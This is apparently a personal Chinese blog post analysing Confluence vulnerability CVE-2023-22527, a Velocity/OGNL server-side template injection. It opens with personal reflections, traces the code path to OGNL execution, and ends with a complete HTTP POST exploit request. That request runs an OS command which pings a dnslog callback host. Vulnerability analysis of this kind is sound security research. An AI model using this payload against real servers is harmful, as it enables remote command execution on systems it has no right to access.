浅析Confluence_CVE-2023-22527

前言

碎碎念

纵使有前言万语,打开编辑器,但是不知道怎么开头,也不知道如何下笔,敲了删,删了敲,纠结,彷徨,还是随便写写,反正也没人看,当作一段时间的碎碎念吧。

最近一段时间家里发生了一些事,包括我今年也面临毕业,可是我那三流的末流学校在校招当中犹如有案底一般不被待见。所以不管是工作也好生活也罢,最近状态一直不在线。我想跳出这样一个不良的状态。年关将至,趁着这段时间好好给自己放个假,调整一下自己,新的一年自己也要有些成长。

关于家里:我想在爷爷剩下的时间里,尽可能的多陪陪他老人家,从小在爷爷奶奶陪伴下成长,我也并不是放荡不羁,反之我觉得自己算得上是个懂事的孩子。

关于工作:学校虽在末流,可是我也有一颗积极向上的心。我觉得能限制我自己的只有我自己。我也想当一个大厂的社畜,可是连机会都没有。目前只能是走一步看一步,今年的就业形势太糟糕了。大厂各种裁员,小厂坚持不住也有倒了的。总之怨天尤人没有用,别人都可以为什么你不可以?努力吧

关于学习:工作之后才知道,学了那么多东西真用的时候不一定用得上,但是一定得知道。因为目前一直在实习,学习的重心也偏向安全研究,秋招过后,我才知道自己不属于这个方向。后面还得加强广度学习。等到真找到正式工作之后,再具体定学习重心吧。

漏洞简述

本次Confluence的洞实际上是SSTL(服务端模板注入漏洞)。因为之前没有了解过这类的漏洞,所以在分析之前还看了几篇相关的文章,链接放在下面,仅供参考。

SSTL基础学习

POC构造

源码分析

Confluence使用的是Velocity模板,具体的细节在上面SSTL基础中有涉及到。它是以.vm结尾的文件。而在Confluence中处理.vm的类是ConfluenceVelocityServlet。它主要负责处理请求和解析.vm模板,处理后将结果返回给浏览器。

image-20240124162620127

进入到doPost之后会调用doRequest,其中我们只需要关注两个标红的地方。

首先是第一处,它通过获取请求路径之后,返回一个template对象。

image-20240124163235115

第二处,我们跟进

image-20240124164404454

前面都是获取一些基础的对象,在try当中获取了PageContext的输出流,将模板和context进行合并将结果保存到输出流之中。我们跟进看下具体实现逻辑。

image-20240124164940588

发现在其内部的重载函数中获取了传入的macroLibraries为空,所以直接会跳到try的逻辑中。

  1. 调用 ica.pushCurrentTemplateName(this.name); 将当前模板的名称压入到 ica 的模板名堆栈中。这是为了在嵌套模板的情况下能够追踪到当前正在处理的模板名称。
  2. 调用 ica.setCurrentResource(this); 将当前模板对象设置为 ica 的当前资源。这是为了让 ica 知道当前正在处理的模板资源。
  3. 最后,通过调用 ((SimpleNode)this.data).render(ica, writer); 进行模板渲染

跟进最后渲染的堆栈信息如下:

image-20240124170150732

然后一直到ASTReference#execute

image-20240124170503744

通过getVariableValue获取context中的this.rootString的变量。然后调用this.jjtGetChild(i).execute我们再次跟进查看逻辑

image-20240124171329699

从context中获取到参数后,经过几层调用后会来到OgnIValueStack#findValue其中堆栈信息如下:

image-20240124171940953

内部实现:

image-20240124172123270

最后会再次调用一边上述流程最终会来到 UberspectImpl#invoke其中堆栈信息如下:

image-20240124172708293

最终经过一系列的Invoke调用来到UberSpectImpl#invoke的doInvoke中实现将label参数的OGNL表达式传入执行。

image-20240124173311799

漏洞复现

image-20240124173457517

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 315

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache. struts2.ServletActionContext@getResponse().setHeader('Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"ping pog9c1.dnslog.cn"}))

浅析Confluence_CVE-2023-22527
http://example.com/2024/01/24/浅析Confluence-CVE-2023-22527/
作者
Yuanyi
发布于
2024年1月24日
许可协议